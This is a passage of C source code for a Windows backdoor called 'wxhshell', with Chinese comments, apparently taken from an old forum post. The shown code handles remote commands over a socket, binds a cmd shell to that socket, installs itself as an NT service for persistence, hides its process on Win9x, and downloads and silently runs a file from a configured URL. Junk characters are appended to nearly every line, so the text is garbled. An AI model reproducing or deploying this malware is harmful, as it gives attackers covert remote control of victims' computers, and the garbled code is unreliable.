.8is! TT  
    switch(cmd[0]) { O[RmQ8ll  
  1jZ:@M :  
  // 帮助 rI&GM |  
  case '?': { rl)(4ad=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w>I>9O}(`  
    break; 7^k`:Z  
  } +Ux)m4}j  
  // 安装 NLDmZra  
  case 'i': { A.9,p  
    if(Install()) W>b(hVBE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &]~z-0`$!  
    else @+",f]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'XlsyaWrb  
    break; bw#zMU^E  
    } STgl{#  
  // 卸载 Kb0OauW  
  case 'r': { ~CRr)(M  
    if(Uninstall()) %h U8ycI*h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7BCCQsz<  
    else /'1UfjW>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TX{DZ#  
    break; D={|&:`L e  
    } bo&!oY#  
  // 显示 wxhshell 所在路径 owe362q  
  case 'p': { k/nOz*  
    char svExeFile[MAX_PATH]; z602(mxGg  
    strcpy(svExeFile,"\n\r"); JH2?^h|{  
      strcat(svExeFile,ExeFile); c L*D_)?8  
        send(wsh,svExeFile,strlen(svExeFile),0); ssW+'GD  
    break; 'MKkC(]4  
    } =Mq=\T  
  // 重启 (]0$^!YK  
  case 'b': { R!xs;|]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )!MeSWGq  
    if(Boot(REBOOT)) L@?Dmn'v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HZ=Dd4!  
    else { 8?W!U*0aS  
    closesocket(wsh); 87EI<\mP  
    ExitThread(0); );$Uf!v4  
    } '{kNXCnZ  
    break; @Z!leyam  
    } zW%-Z6%D  
  // 关机 ZZTPAmIr  
  case 'd': { _,b%t1v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7dX1.}M<(  
    if(Boot(SHUTDOWN)) %iIryv;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u*[,W-R&  
    else { KtHh--j`  
    closesocket(wsh); D_O%[u}  
    ExitThread(0); I"3Qdi  
    } ?)Lktn9%  
    break; 5(>m=ef"  
    } lfu1PCe5  
  // 获取shell ^BjwPh4Z#  
  case 's': {  DVD}  
    CmdShell(wsh); O7j$bxk/^  
    closesocket(wsh); J{$C}8V  
    ExitThread(0); !.L%kw7z  
    break; 5L|yF"TI#  
  } qB@]$  
  // 退出 }.gDaxj  
  case 'x': { uf`o\wqU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~/[cZY @  
    CloseIt(wsh); po"M$4`9  
    break; {AIP\  
    } RrLQM!~  
  // 离开 5<4njo?k  
  case 'q': { {#q<0l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .D^k0V  
    closesocket(wsh); 2U>1-p&dn  
    WSACleanup(); xN2M| E]  
    exit(1); -9-%_=6  
    break; ZcX%:ebKS  
        } $$ {ebt  
  } %kNkDI  
  } *%ZfE,bu8<  
Gyy:.]>&  
  // 提示信息 8NeP7.U<w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -O~WHi5}  
} |IH-a"  
  } 0"u*Kn  
j3`:;'L  
  return;  ^]wm Y  
} 4'+/R%jk"  
-N5r[*>  
// shell模块句柄 S=[K/Kf-  
int CmdShell(SOCKET sock)  A`#v-  
{ GfQMdLy\Z  
STARTUPINFO si; 5#d"]7  
ZeroMemory(&si,sizeof(si)); ~n]:f7?I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8[f]9P/i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xQ1&j,R]  
PROCESS_INFORMATION ProcessInfo; @)VJ,Ql$Y  
char cmdline[]="cmd"; O:r<es1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'n4zFj+S  
  return 0; DXKk1u?Tq  
} 3`#sXt9C  
nUmA  
// 自身启动模式 #zrD i  
int StartFromService(void) @[zPN[z .  
{ /RmLV  
typedef struct ,Q(n(m'  
{ bLu6|YB  
  DWORD ExitStatus; JS&l h  
  DWORD PebBaseAddress; &#.XLe\y  
  DWORD AffinityMask; G7%Nwe~Y  
  DWORD BasePriority; 0g]ABzTn  
  ULONG UniqueProcessId; lDp5aT;DsM  
  ULONG InheritedFromUniqueProcessId; Fxv~;o#  
}   PROCESS_BASIC_INFORMATION; @Z@yI2#e  
5[I> l  
PROCNTQSIP NtQueryInformationProcess; <6p{eGAQV  
QwOQS %  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6JRee[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `ZV;Le '  
d^]wqnpf  
  HANDLE             hProcess; Ofqe+C  
  PROCESS_BASIC_INFORMATION pbi; '.WYs!  
?]kIztH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4,H}'@Db}  
  if(NULL == hInst ) return 0; q7 Uu 8JXF  
?Dd2k%o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hpWAQ#%oHm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]N1$ioC#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qK|r+}g|&  
A!iH g__/t  
  if (!NtQueryInformationProcess) return 0; gADt%K2 #Z  
S)g5Tu)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L=Dx$#|  
  if(!hProcess) return 0; MrOW&7  
.&r] ?O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P|HY=RM a  
( }JX ]-  
  CloseHandle(hProcess); U0jq.]P  
&??(EA3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Odi\SJ&  
if(hProcess==NULL) return 0; ODv)-J  
1Lj\"+.  
HMODULE hMod; )}G HG#D{  
char procName[255]; !3yR?Xem}  
unsigned long cbNeeded; &e,xN;  
v%zI~g.L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _?q\tyf3  
?A62VV51CN  
  CloseHandle(hProcess); G-"#3{~2  
(CZRX9TT1  
if(strstr(procName,"services")) return 1; // 以服务启动 lzS"NHs<g(  
kf"cd 1  
  return 0; // 注册表启动 Vx* =  
}  r) X?H  
%5F=!( w  
// 主模块 *WX6C("M  
int StartWxhshell(LPSTR lpCmdLine) +#&2*nY  
{ )}WG`  
  SOCKET wsl; K3 ]hUe#  
BOOL val=TRUE; ,8$;|#d  
  int port=0; m} Yf6:cr  
  struct sockaddr_in door; S'E6#   
3kYUO-qw  
  if(wscfg.ws_autoins) Install(); hC6$>tl  
)%,bog(x  
port=atoi(lpCmdLine); )%ja6Vg  
jgEiemh&  
if(port<=0) port=wscfg.ws_port; [FyE{NfiJ%  
w`#lLl B  
  WSADATA data; >-)i_C2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z)|56 F7'  
|:H[Y"$1;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T w"^I*B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D eXnE$XH  
  door.sin_family = AF_INET; ?`FI!3j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NRoi` IIj  
  door.sin_port = htons(port); {'d?vm!r  
.P,\69g~A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W4>8  
closesocket(wsl); 3$HFHUMQsk  
return 1; P?TFX.p7  
} Hk6Dwe[y  
GueqpEd2  
  if(listen(wsl,2) == INVALID_SOCKET) { I"@5=m5  
closesocket(wsl); fWKv3S1dT  
return 1; H%faRUonz  
} uv_*E`pN~  
  Wxhshell(wsl); ~f%gW  
  WSACleanup(); 4|++0=#D$  
/5yW vra  
return 0; N{Is2Ia  
5,?9#n\E,  
} .4-;  
;AG5WPI  
// 以NT服务方式启动 CH9#<?l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7qzI]  
{ [IV8  
DWORD   status = 0; Ns1u0$fg  
  DWORD   specificError = 0xfffffff; &NGlkn  
@.CPZT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `86 9XE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `?Y/:4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O 6A:0yM4  
  serviceStatus.dwWin32ExitCode     = 0; &+*jTE  
  serviceStatus.dwServiceSpecificExitCode = 0; '>`bp25>  
  serviceStatus.dwCheckPoint       = 0; AV&W&$  
  serviceStatus.dwWaitHint       = 0; KtV_DjH:  
3s>& h-E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^'FY!^dE  
  if (hServiceStatusHandle==0) return; F*I{?NRN1  
xQJdt $]U@  
status = GetLastError(); 26\1tOj Np  
  if (status!=NO_ERROR) Q*KEODR8\  
{ VK ?,8Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uyi_B.:`  
    serviceStatus.dwCheckPoint       = 0; =cRJtn  
    serviceStatus.dwWaitHint       = 0; tb@/E  
    serviceStatus.dwWin32ExitCode     = status; KZDB\T  
    serviceStatus.dwServiceSpecificExitCode = specificError; TR: D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  "&C'K  
    return; 4H1s"mP<  
  } b(~NqV!i  
@~a52'\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g<.VW 0  
  serviceStatus.dwCheckPoint       = 0; &:{| nDT_2  
  serviceStatus.dwWaitHint       = 0; P5aHLNit  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gQ/zk3?k  
} L:B&`,E  
-M[5K/[  
// 处理NT服务事件,比如:启动、停止 k`TEA?RfQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y l3iU:+V  
{ PU-;Q@< E  
switch(fdwControl) U15Hq*8Z  
{ yY,.GzIjCj  
case SERVICE_CONTROL_STOP: YjG0: 9  
  serviceStatus.dwWin32ExitCode = 0; [_H9l)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $9ON 3>  
  serviceStatus.dwCheckPoint   = 0; /wvA]ooT  
  serviceStatus.dwWaitHint     = 0; bJ/~UEZw  
  { jkPXkysm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1+ %c9UQ  
  } q:nYUW o   
  return; ]vu' +F$  
case SERVICE_CONTROL_PAUSE: Lw!@[;2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1>|p1YZ"  
  break; 8vaqj/  
case SERVICE_CONTROL_CONTINUE: MK=:L   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]HCt%5  
  break; ]A'e+RD4k  
case SERVICE_CONTROL_INTERROGATE: nre8 F  
  break; Grw_SVa^  
}; ][qZOIk@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &|9?B!,`  
} 1` 9/[2z  
%7V?7BE  
// 标准应用程序主函数 jP}N^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R\X=Vg  
{ Dy8Go4  
?mF-zA'4]  
// 获取操作系统版本 mXa1SZnE   
OsIsNt=GetOsVer(); du47la 3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tpCEWdn5  
[x)BQX'  
  // 从命令行安装 F]Y Pq  
  if(strpbrk(lpCmdLine,"iI")) Install(); VSP[G ,J.  
2gFQHV  
  // 下载执行文件 J/ rQ42d  
if(wscfg.ws_downexe) { Uvz9x"0[u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) My5X%)T>P  
  WinExec(wscfg.ws_filenam,SW_HIDE); LFh(. }  
} g\6(ezUF*  
E>7%/TIl  
if(!OsIsNt) { %0"o(y+zt  
// 如果时win9x,隐藏进程并且设置为注册表启动 RNIfw1R  
HideProc(); Y4b"(ZhM_  
StartWxhshell(lpCmdLine); sQt@B#;  
} 2f~s$I&l#  
else Ie+z"&0  
  if(StartFromService()) {~d4;ht1Y  
  // 以服务方式启动 bg 7b!t1F  
  StartServiceCtrlDispatcher(DispatchTable); 4I2ppz   
else zM)o^Fn2  
  // 普通方式启动 vguqk!eo4  
  StartWxhshell(lpCmdLine); |r3eq4$Am  
Wc+ e>*  
return 0;  r5F#q  
}
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只看该作者 1 发表于: 2006-10-10
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